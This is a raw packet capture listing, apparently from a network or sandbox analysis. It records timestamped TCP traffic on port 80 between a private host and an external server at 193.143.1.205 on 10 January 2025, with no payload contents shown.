Jan 10, 2025 18:31:37.770906925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770912886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770920038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770935059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770934105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.770952940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770976067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.770976067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.770978928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770992994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771018982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771023035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771034956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771047115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771054983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771060944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771085024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771086931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771097898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771111012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771131039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771131992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771147013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771178007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771188974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771202087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771214008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771230936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771243095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771420956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771434069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771445990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771456957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771469116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771477938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771488905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771491051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771503925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771516085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771516085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771528959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771541119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.771559000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.771598101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772052050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772089005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772095919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772103071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772130966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772139072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772144079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772165060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772177935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772185087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772192001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772216082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772286892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772300959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772308111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772326946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772336006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772339106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772358894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772384882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772384882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772397041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772408009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772419930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772427082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772440910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772444963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772453070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772465944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772478104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772490978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772494078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772516966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772528887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772528887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772548914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772559881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772562981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772593975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772605896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772699118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772710085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772722960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772735119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772741079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772754908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772753954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772775888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772789001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772802114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772804022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772829056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772854090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772864103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772876024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772896051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772912025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.772929907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772943020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772955894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772972107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772984028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.772989035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.773006916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.773122072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.773133993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.773148060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.773159981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.773163080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.773178101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.777146101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.791924000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.791940928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792011976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.792098999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792145014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.792145014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792160034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792186975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792198896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792210102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.792231083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.792303085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792320967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792335033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792346954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792357922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.792361975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.792388916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.821985006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822026968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822051048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822062969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822073936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822073936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822088003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822096109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822108030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822122097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822133064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822135925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822149992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822154045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822169065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822192907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822213888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822252989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822264910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822277069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822289944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822308064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822308064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822320938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822324991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822334051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822346926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822355032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822360039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822371006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.822388887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.822403908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861443996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861478090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861498117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861510038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861520052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861531973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861551046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861562967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861574888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861586094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861598015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861612082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861670017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861682892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861731052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861743927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861749887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861807108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861818075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861829042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861834049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861845016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861860991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861905098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861916065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861928940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861941099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861954927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861963034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.861968040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.861990929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862004995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862066984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862086058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862092018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862112999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862122059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862126112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862138987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862149954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862150908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862164021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862176895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862176895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862190008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862215042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862232924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862715006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862730026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862749100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862761974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862780094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862782001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862793922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862806082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862808943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862818956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862835884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862840891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862848043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862859011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862864017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862878084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862903118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862914085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862925053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.862946033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862968922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.862987041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863018036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863034010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863064051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863085985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863101006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863127947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863153934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863166094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863177061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863188028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863193989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863203049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863219976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863220930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863243103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863243103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863255978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863267899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863281012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863287926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863297939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863301039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863325119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863339901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863343954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863352060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863364935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863374949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863399982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863420963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863432884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863444090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863461018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863461971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863502026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863519907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863539934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863552094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863562107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863574028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863576889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863598108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863651037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863662958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863675117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863687038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863694906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863697052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863699913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863734007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863765001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863775969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863786936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863796949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.863805056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.863831043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.875305891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.882695913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882723093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882735968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882750988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882761955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882774115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882781029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.882782936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882787943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.882806063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.882849932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.900218964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912338972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912364960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912383080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912391901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912415028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912425041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912425995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912441969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912446976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912456989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912470102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912480116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912494898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912518978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912522078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912534952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912547112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912560940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912565947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912583113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912606955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912619114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912643909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912648916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912652016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912656069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912684917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912725925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912738085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912744999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.912777901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.912827015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952020884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952050924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952063084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952083111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952095032 CET	80	49704	193.143.1.205	192.168.2.5
